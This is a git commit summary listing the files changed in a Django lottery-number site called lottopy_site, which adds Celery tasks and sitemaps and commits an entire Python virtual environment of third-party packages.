.../prompt_toolkit-3.0.29.dist-info/METADATA | 186 + .../prompt_toolkit-3.0.29.dist-info/RECORD | 300 ++ .../prompt_toolkit-3.0.29.dist-info/WHEEL | 5 + .../top_level.txt | 1 + .../site-packages/prompt_toolkit/__init__.py | 40 + .../prompt_toolkit/application/__init__.py | 30 + .../prompt_toolkit/application/application.py | 1431 ++++++ .../prompt_toolkit/application/current.py | 197 + .../prompt_toolkit/application/dummy.py | 51 + .../application/run_in_terminal.py | 117 + .../prompt_toolkit/auto_suggest.py | 187 + .../site-packages/prompt_toolkit/buffer.py | 2014 +++++++++ .../site-packages/prompt_toolkit/cache.py | 125 + .../prompt_toolkit/clipboard/__init__.py | 15 + .../prompt_toolkit/clipboard/base.py | 107 + .../prompt_toolkit/clipboard/in_memory.py | 46 + .../prompt_toolkit/clipboard/pyperclip.py | 42 + .../prompt_toolkit/completion/__init__.py | 41 + .../prompt_toolkit/completion/base.py | 396 ++ .../prompt_toolkit/completion/deduplicate.py | 43 + .../prompt_toolkit/completion/filesystem.py | 117 + .../completion/fuzzy_completer.py | 201 + .../prompt_toolkit/completion/nested.py | 107 + .../completion/word_completer.py | 93 + .../prompt_toolkit/contrib/__init__.py | 0 .../contrib/completers/__init__.py | 3 + .../contrib/completers/system.py | 62 + .../contrib/regular_languages/__init__.py | 77 + .../contrib/regular_languages/compiler.py | 574 +++ .../contrib/regular_languages/completion.py | 93 + .../contrib/regular_languages/lexer.py | 92 + .../contrib/regular_languages/regex_parser.py | 281 ++ .../contrib/regular_languages/validation.py | 60 + .../prompt_toolkit/contrib/ssh/__init__.py | 6 + .../prompt_toolkit/contrib/ssh/server.py | 161 + .../prompt_toolkit/contrib/telnet/__init__.py | 5 + .../prompt_toolkit/contrib/telnet/log.py | 10 + .../prompt_toolkit/contrib/telnet/protocol.py | 207 + .../prompt_toolkit/contrib/telnet/server.py | 377 ++ .../prompt_toolkit/cursor_shapes.py | 102 + .../prompt_toolkit/data_structures.py | 16 + .../site-packages/prompt_toolkit/document.py | 1190 +++++ .../site-packages/prompt_toolkit/enums.py | 17 + .../prompt_toolkit/eventloop/__init__.py | 28 + .../eventloop/async_context_manager.py | 132 + .../eventloop/async_generator.py | 74 + .../eventloop/dummy_contextvars.py | 49 + .../prompt_toolkit/eventloop/inputhook.py | 183 + .../prompt_toolkit/eventloop/utils.py | 118 + .../prompt_toolkit/eventloop/win32.py | 73 + .../prompt_toolkit/filters/__init__.py | 68 + .../prompt_toolkit/filters/app.py | 402 ++ .../prompt_toolkit/filters/base.py | 217 + .../prompt_toolkit/filters/cli.py | 62 + .../prompt_toolkit/filters/utils.py | 41 + .../prompt_toolkit/formatted_text/__init__.py | 54 + .../prompt_toolkit/formatted_text/ansi.py | 297 ++ .../prompt_toolkit/formatted_text/base.py | 176 + .../prompt_toolkit/formatted_text/html.py | 143 + .../prompt_toolkit/formatted_text/pygments.py | 30 + .../prompt_toolkit/formatted_text/utils.py | 98 + .../site-packages/prompt_toolkit/history.py | 301 ++ .../prompt_toolkit/input/__init__.py | 12 + .../input/ansi_escape_sequences.py | 343 ++ .../prompt_toolkit/input/base.py | 150 + .../prompt_toolkit/input/defaults.py | 69 + .../prompt_toolkit/input/posix_pipe.py | 116 + .../prompt_toolkit/input/posix_utils.py | 95 + .../prompt_toolkit/input/typeahead.py | 76 + .../prompt_toolkit/input/vt100.py | 320 ++ .../prompt_toolkit/input/vt100_parser.py | 247 ++ .../prompt_toolkit/input/win32.py | 757 ++++ .../prompt_toolkit/input/win32_pipe.py | 154 + .../prompt_toolkit/key_binding/__init__.py | 20 + .../key_binding/bindings/__init__.py | 0 .../key_binding/bindings/auto_suggest.py | 63 + .../key_binding/bindings/basic.py | 253 ++ .../key_binding/bindings/completion.py | 203 + .../key_binding/bindings/cpr.py | 28 + .../key_binding/bindings/emacs.py | 557 +++ .../key_binding/bindings/focus.py | 24 + .../key_binding/bindings/mouse.py | 347 ++ .../key_binding/bindings/named_commands.py | 687 +++ .../key_binding/bindings/open_in_editor.py | 49 + .../key_binding/bindings/page_navigation.py | 82 + .../key_binding/bindings/scroll.py | 187 + .../key_binding/bindings/search.py | 93 + .../prompt_toolkit/key_binding/bindings/vi.py | 2221 ++++++++++ .../prompt_toolkit/key_binding/defaults.py | 60 + .../prompt_toolkit/key_binding/digraphs.py | 1377 ++++++ .../prompt_toolkit/key_binding/emacs_state.py | 36 + .../key_binding/key_bindings.py | 672 +++ .../key_binding/key_processor.py | 528 +++ .../prompt_toolkit/key_binding/vi_state.py | 107 + .../site-packages/prompt_toolkit/keys.py | 221 + .../prompt_toolkit/layout/__init__.py | 144 + .../prompt_toolkit/layout/containers.py | 2757 ++++++++++++ .../prompt_toolkit/layout/controls.py | 957 ++++ .../prompt_toolkit/layout/dimension.py | 217 + .../prompt_toolkit/layout/dummy.py | 37 + .../prompt_toolkit/layout/layout.py | 411 ++ .../prompt_toolkit/layout/margins.py | 305 ++ .../prompt_toolkit/layout/menus.py | 722 +++ .../prompt_toolkit/layout/mouse_handlers.py | 54 + .../prompt_toolkit/layout/processors.py | 1029 +++++ .../prompt_toolkit/layout/screen.py | 327 ++ .../prompt_toolkit/layout/scrollable_pane.py | 493 +++ .../prompt_toolkit/layout/utils.py | 80 + .../prompt_toolkit/lexers/__init__.py | 18 + .../prompt_toolkit/lexers/base.py | 82 + .../prompt_toolkit/lexers/pygments.py | 335 ++ .../site-packages/prompt_toolkit/log.py | 10 + .../prompt_toolkit/mouse_events.py | 88 + .../prompt_toolkit/output/__init__.py | 13 + .../prompt_toolkit/output/base.py | 329 ++ .../prompt_toolkit/output/color_depth.py | 58 + .../prompt_toolkit/output/conemu.py | 63 + .../prompt_toolkit/output/defaults.py | 100 + .../prompt_toolkit/output/flush_stdout.py | 84 + .../prompt_toolkit/output/plain_text.py | 145 + .../prompt_toolkit/output/vt100.py | 753 ++++ .../prompt_toolkit/output/win32.py | 687 +++ .../prompt_toolkit/output/windows10.py | 107 + .../prompt_toolkit/patch_stdout.py | 288 ++ .../site-packages/prompt_toolkit/py.typed | 0 .../site-packages/prompt_toolkit/renderer.py | 811 ++++ .../site-packages/prompt_toolkit/search.py | 229 + .../site-packages/prompt_toolkit/selection.py | 60 + .../prompt_toolkit/shortcuts/__init__.py | 44 + .../prompt_toolkit/shortcuts/dialogs.py | 325 ++ .../shortcuts/progress_bar/__init__.py | 31 + .../shortcuts/progress_bar/base.py | 438 ++ .../shortcuts/progress_bar/formatters.py | 436 ++ .../prompt_toolkit/shortcuts/prompt.py | 1504 +++++++ .../prompt_toolkit/shortcuts/utils.py | 238 + .../prompt_toolkit/styles/__init__.py | 64 + .../prompt_toolkit/styles/base.py | 181 + .../prompt_toolkit/styles/defaults.py | 231 + .../prompt_toolkit/styles/named_colors.py | 161 + .../prompt_toolkit/styles/pygments.py | 67 + .../prompt_toolkit/styles/style.py | 399 ++ .../styles/style_transformation.py | 375 ++ .../site-packages/prompt_toolkit/token.py | 8 + .../site-packages/prompt_toolkit/utils.py | 328 ++ .../prompt_toolkit/validation.py | 194 + .../prompt_toolkit/widgets/__init__.py | 60 + .../prompt_toolkit/widgets/base.py | 978 +++++ .../prompt_toolkit/widgets/dialogs.py | 106 + .../prompt_toolkit/widgets/menus.py | 374 ++ .../prompt_toolkit/widgets/toolbars.py | 374 ++ .../prompt_toolkit/win32_types.py | 227 + .../pytz/__pycache__/__init__.cpython-310.pyc | Bin 26224 -> 26224 bytes .../__pycache__/exceptions.cpython-310.pyc | Bin 2132 -> 2132 bytes .../pytz/__pycache__/lazy.cpython-310.pyc | Bin 4747 -> 4747 bytes .../pytz/__pycache__/tzfile.cpython-310.pyc | Bin 3169 -> 3165 bytes .../pytz/__pycache__/tzinfo.cpython-310.pyc | Bin 14812 -> 14812 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 3899 -> 3899 bytes .../__pycache__/__version__.cpython-310.pyc | Bin 565 -> 565 bytes .../_internal_utils.cpython-310.pyc | Bin 1317 -> 1317 bytes .../__pycache__/adapters.cpython-310.pyc | Bin 16844 -> 16844 bytes .../requests/__pycache__/api.cpython-310.pyc | Bin 6664 -> 6664 bytes .../requests/__pycache__/auth.cpython-310.pyc | Bin 8107 -> 8107 bytes .../__pycache__/certs.cpython-310.pyc | Bin 637 -> 637 bytes .../__pycache__/compat.cpython-310.pyc | Bin 1729 -> 1729 bytes .../__pycache__/cookies.cpython-310.pyc | Bin 18709 -> 18709 bytes .../__pycache__/exceptions.cpython-310.pyc | Bin 5011 -> 5011 bytes .../__pycache__/hooks.cpython-310.pyc | Bin 1004 -> 1004 bytes .../__pycache__/models.cpython-310.pyc | Bin 24364 -> 24364 bytes .../__pycache__/packages.cpython-310.pyc | Bin 717 -> 717 bytes .../__pycache__/sessions.cpython-310.pyc | Bin 19790 -> 19790 bytes .../__pycache__/status_codes.cpython-310.pyc | Bin 4681 -> 4681 bytes .../__pycache__/structures.cpython-310.pyc | Bin 4463 -> 4463 bytes .../__pycache__/utils.cpython-310.pyc | Bin 23431 -> 23431 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 8619 -> 8619 bytes .../_deprecation_warning.cpython-310.pyc | Bin 576 -> 576 bytes .../__pycache__/_imp.cpython-310.pyc | Bin 2102 -> 2102 bytes .../__pycache__/config.cpython-310.pyc | Bin 20932 -> 20932 bytes .../__pycache__/depends.cpython-310.pyc | Bin 5296 -> 5296 bytes .../__pycache__/dist.cpython-310.pyc | Bin 36279 -> 36279 bytes .../__pycache__/extension.cpython-310.pyc | Bin 1972 -> 1972 bytes .../__pycache__/glob.cpython-310.pyc | Bin 3761 -> 3761 bytes .../__pycache__/monkey.cpython-310.pyc | Bin 4661 -> 4661 bytes .../__pycache__/msvc.cpython-310.pyc | Bin 42665 -> 42665 bytes .../__pycache__/py34compat.cpython-310.pyc | Bin 508 -> 508 bytes .../__pycache__/unicode_utils.cpython-310.pyc | Bin 1138 -> 1138 bytes .../__pycache__/version.cpython-310.pyc | Bin 350 -> 350 bytes .../windows_support.cpython-310.pyc | Bin 1051 -> 1051 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 212 -> 212 bytes .../__pycache__/ordered_set.cpython-310.pyc | Bin 16348 -> 16348 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 293 -> 293 bytes .../__pycache__/more.cpython-310.pyc | Bin 110023 -> 110023 bytes .../__pycache__/recipes.cpython-310.pyc | Bin 17993 -> 17993 bytes .../__pycache__/__about__.cpython-310.pyc | Bin 728 -> 728 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 574 -> 574 bytes .../__pycache__/_compat.cpython-310.pyc | Bin 1174 -> 1174 bytes .../__pycache__/_structures.cpython-310.pyc | Bin 2718 -> 2718 bytes .../__pycache__/_typing.cpython-310.pyc | Bin 1530 -> 1530 bytes .../__pycache__/specifiers.cpython-310.pyc | Bin 20481 -> 20481 bytes .../__pycache__/utils.cpython-310.pyc | Bin 1665 -> 1665 bytes .../__pycache__/version.cpython-310.pyc | Bin 13045 -> 13045 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 401 -> 401 bytes .../__pycache__/bdist_egg.cpython-310.pyc | Bin 13129 -> 13129 bytes .../__pycache__/build_py.cpython-310.pyc | Bin 7896 -> 7896 bytes .../__pycache__/egg_info.cpython-310.pyc | Bin 22047 -> 22047 bytes .../__pycache__/py36compat.cpython-310.pyc | Bin 4563 -> 4563 bytes .../command/__pycache__/sdist.cpython-310.pyc | Bin 6554 -> 6554 bytes .../__pycache__/setopt.cpython-310.pyc | Bin 4715 -> 4715 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 2962 -> 2962 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 225 -> 225 bytes .../__pycache__/main.cpython-310.pyc | Bin 2880 -> 2880 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 2199 -> 2199 bytes .../__pycache__/_collections.cpython-310.pyc | Bin 10873 -> 10873 bytes .../__pycache__/_version.cpython-310.pyc | Bin 223 -> 223 bytes .../__pycache__/connection.cpython-310.pyc | Bin 13658 -> 13658 bytes .../connectionpool.cpython-310.pyc | Bin 24733 -> 24733 bytes .../__pycache__/exceptions.cpython-310.pyc | Bin 11004 -> 11004 bytes .../__pycache__/fields.cpython-310.pyc | Bin 8195 -> 8195 bytes .../__pycache__/filepost.cpython-310.pyc | Bin 2760 -> 2760 bytes .../__pycache__/poolmanager.cpython-310.pyc | Bin 15212 -> 15212 bytes .../__pycache__/request.cpython-310.pyc | Bin 5636 -> 5636 bytes .../__pycache__/response.cpython-310.pyc | Bin 20937 -> 20937 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 209 -> 209 bytes .../_appengine_environ.cpython-310.pyc | Bin 1389 -> 1389 bytes .../contrib/__pycache__/socks.cpython-310.pyc | Bin 5611 -> 5611 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 323 -> 323 bytes .../packages/__pycache__/six.cpython-310.pyc | Bin 27674 -> 27670 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 608 -> 608 bytes .../_implementation.cpython-310.pyc | Bin 3311 -> 3311 bytes .../util/__pycache__/__init__.cpython-310.pyc | Bin 1119 -> 1119 bytes .../__pycache__/connection.cpython-310.pyc | Bin 3455 -> 3455 bytes .../util/__pycache__/proxy.cpython-310.pyc | Bin 1354 -> 1354 bytes .../util/__pycache__/queue.cpython-310.pyc | Bin 1074 -> 1074 bytes .../util/__pycache__/request.cpython-310.pyc | Bin 3482 -> 3482 bytes .../util/__pycache__/response.cpython-310.pyc | Bin 2367 -> 2367 bytes .../util/__pycache__/retry.cpython-310.pyc | Bin 15792 -> 15792 bytes .../util/__pycache__/ssl_.cpython-310.pyc | Bin 11309 -> 11309 bytes .../__pycache__/ssltransport.cpython-310.pyc | Bin 7420 -> 7420 bytes .../util/__pycache__/timeout.cpython-310.pyc | Bin 8951 -> 8951 bytes .../util/__pycache__/url.cpython-310.pyc | Bin 10670 -> 10670 bytes .../util/__pycache__/wait.cpython-310.pyc | Bin 3103 -> 3103 bytes .../vine-5.0.0.dist-info/INSTALLER | 1 + .../vine-5.0.0.dist-info/LICENSE | 52 + .../vine-5.0.0.dist-info/METADATA | 65 + .../site-packages/vine-5.0.0.dist-info/RECORD | 18 + .../site-packages/vine-5.0.0.dist-info/WHEEL | 6 + .../vine-5.0.0.dist-info/top_level.txt | 1 + .../python3.10/site-packages/vine/__init__.py | 39 + .../python3.10/site-packages/vine/abstract.py | 68 + .../python3.10/site-packages/vine/funtools.py | 113 + .../python3.10/site-packages/vine/promises.py | 240 + .../site-packages/vine/synchronization.py | 96 + .../python3.10/site-packages/vine/utils.py | 30 + .../wcwidth-0.2.5.dist-info/INSTALLER | 1 + .../wcwidth-0.2.5.dist-info/LICENSE | 27 + .../wcwidth-0.2.5.dist-info/METADATA | 309 ++ .../wcwidth-0.2.5.dist-info/RECORD | 22 + .../wcwidth-0.2.5.dist-info/WHEEL | 6 + .../wcwidth-0.2.5.dist-info/top_level.txt | 1 + .../wcwidth-0.2.5.dist-info/zip-safe | 1 + .../site-packages/wcwidth/__init__.py | 37 + .../site-packages/wcwidth/table_wide.py | 1102 +++++ .../site-packages/wcwidth/table_zero.py | 3910 +++++++++++++++++ .../site-packages/wcwidth/tests/__init__.py | 1 + .../site-packages/wcwidth/tests/test_core.py | 138 + .../site-packages/wcwidth/unicode_versions.py | 35 + .../site-packages/wcwidth/version.json | 1 + .../site-packages/wcwidth/wcwidth.py | 375 ++ dump.rdb | Bin 88 -> 88 bytes lottopy_site/db.sqlite3 | Bin 131072 -> 143360 bytes lottopy_site/lottopy/__init__.py | 7 + .../__pycache__/__init__.cpython-310.pyc | Bin 170 -> 320 bytes .../lottopy/__pycache__/apps.cpython-310.pyc | Bin 451 -> 601 bytes .../__pycache__/models.cpython-310.pyc | Bin 208 -> 1209 bytes .../lottopy/__pycache__/urls.cpython-310.pyc | Bin 486 -> 485 bytes .../lottopy/__pycache__/views.cpython-310.pyc | Bin 2230 -> 1745 bytes lottopy_site/lottopy/apps.py | 3 + lottopy_site/lottopy/celery.py | 21 + .../lottopy/lottopy_web_edition/c25_ans.csv | 2 +- .../lottopy/lottopy_web_edition/cash25.xlsx | Bin 10108 -> 10107 bytes .../lottopy/lottopy_web_edition/d3_ans.csv | 2 +- .../lottopy/lottopy_web_edition/d4_ans.csv | 2 +- .../lottopy/lottopy_web_edition/daily3.xlsx | Bin 5501 -> 5525 bytes .../lottopy/lottopy_web_edition/daily4.xlsx | Bin 12006 -> 12014 bytes .../lottopy/lottopy_web_edition/la_ans.csv | 2 +- .../lottopy/lottopy_web_edition/lotto.xlsx | Bin 12115 -> 12188 bytes .../lottopy_web_edition/lotto_america.xlsx | Bin 8510 -> 8520 bytes .../lottopy_web_edition/lotto_megamil.xlsx | Bin 8684 -> 8679 bytes .../lottopy/lottopy_web_edition/mm_ans.csv | 2 +- .../lottopy/lottopy_web_edition/pb_ans.csv | 2 +- lottopy_site/lottopy/models.py | 13 + lottopy_site/lottopy/sitemaps.py | 14 + lottopy_site/lottopy/tasks.py | 30 + lottopy_site/lottopy/urls.py | 2 +- lottopy_site/lottopy/views.py | 86 +- .../__pycache__/__init__.cpython-310.pyc | Bin 175 -> 325 bytes .../__pycache__/settings.cpython-310.pyc | Bin 2989 -> 3219 bytes .../__pycache__/urls.cpython-310.pyc | Bin 1005 -> 1276 bytes lottopy_site/lottopy_site/settings.py | 14 +- lottopy_site/lottopy_site/urls.py | 8 + lottopy_site/static/css/base.css | 12 +- lottopy_site/templates/lottopy/base.html | 3 +- lottopy_site/templates/lottopy/home.html | 6 +- 1212 files changed, 133115 insertions(+), 74 deletions(-) create mode 100755 django_lottopy/bin/celery create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/INSTALLER create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/LICENSE create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/METADATA create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/RECORD create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/WHEEL create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/top_level.txt create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/abstract_channel.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/basic_message.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/channel.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/connection.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/exceptions.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/method_framing.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/platform.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/protocol.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/sasl.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/serialization.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/spec.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/transport.py create mode 100644 django_lottopy/lib/python3.10/site-packages/amqp/utils.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/INSTALLER create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/LICENSE.txt create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/METADATA create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/RECORD create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/WHEEL create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/top_level.txt create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/_ext.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/_win.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/common.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/compat.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/connection.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/context.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/dummy/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/dummy/connection.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/einfo.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/exceptions.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/five.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/forkserver.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/heap.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/managers.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/pool.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/popen_fork.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/popen_forkserver.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/popen_spawn_posix.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/popen_spawn_win32.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/process.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/queues.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/reduction.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/resource_sharer.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/semaphore_tracker.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/sharedctypes.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/spawn.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/synchronize.py create mode 100644 django_lottopy/lib/python3.10/site-packages/billiard/util.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/INSTALLER create mode 100644 django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/LICENSE create mode 100644 django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/METADATA create mode 100644 django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/RECORD rename lottopy_site/lottopy_site/__init__.py => django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/REQUESTED (100%) create mode 100644 django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/WHEEL create mode 100644 django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/entry_points.txt create mode 100644 django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/top_level.txt create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/__main__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/_state.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/amqp.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/annotations.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/autoretry.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/backends.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/base.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/builtins.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/control.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/defaults.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/events.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/log.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/registry.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/routes.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/task.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/trace.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/app/utils.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/apps/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/apps/beat.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/apps/multi.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/apps/worker.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/arangodb.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/asynchronous.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/azureblockblob.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/base.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/cache.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/cassandra.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/consul.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/cosmosdbsql.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/couchbase.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/couchdb.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/database/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/database/models.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/database/session.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/dynamodb.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/elasticsearch.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/filesystem.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/mongodb.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/redis.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/rpc.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/backends/s3.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/beat.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/amqp.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/base.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/beat.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/call.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/celery.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/control.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/events.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/graph.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/list.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/logtool.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/migrate.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/multi.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/purge.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/result.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/shell.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/upgrade.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bin/worker.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/bootsteps.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/canvas.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/concurrency/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/concurrency/asynpool.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/concurrency/base.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/concurrency/eventlet.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/concurrency/gevent.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/concurrency/prefork.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/concurrency/solo.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/concurrency/thread.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/abortable.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/migrate.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/pytest.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/rdb.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/sphinx.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/app.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/manager.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/mocks.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/tasks.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/contrib/testing/worker.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/events/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/events/cursesmon.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/events/dispatcher.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/events/dumper.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/events/event.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/events/receiver.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/events/snapshot.py create mode 100644 django_lottopy/lib/python3.10/site-packages/celery/events/state.py create mode 100644 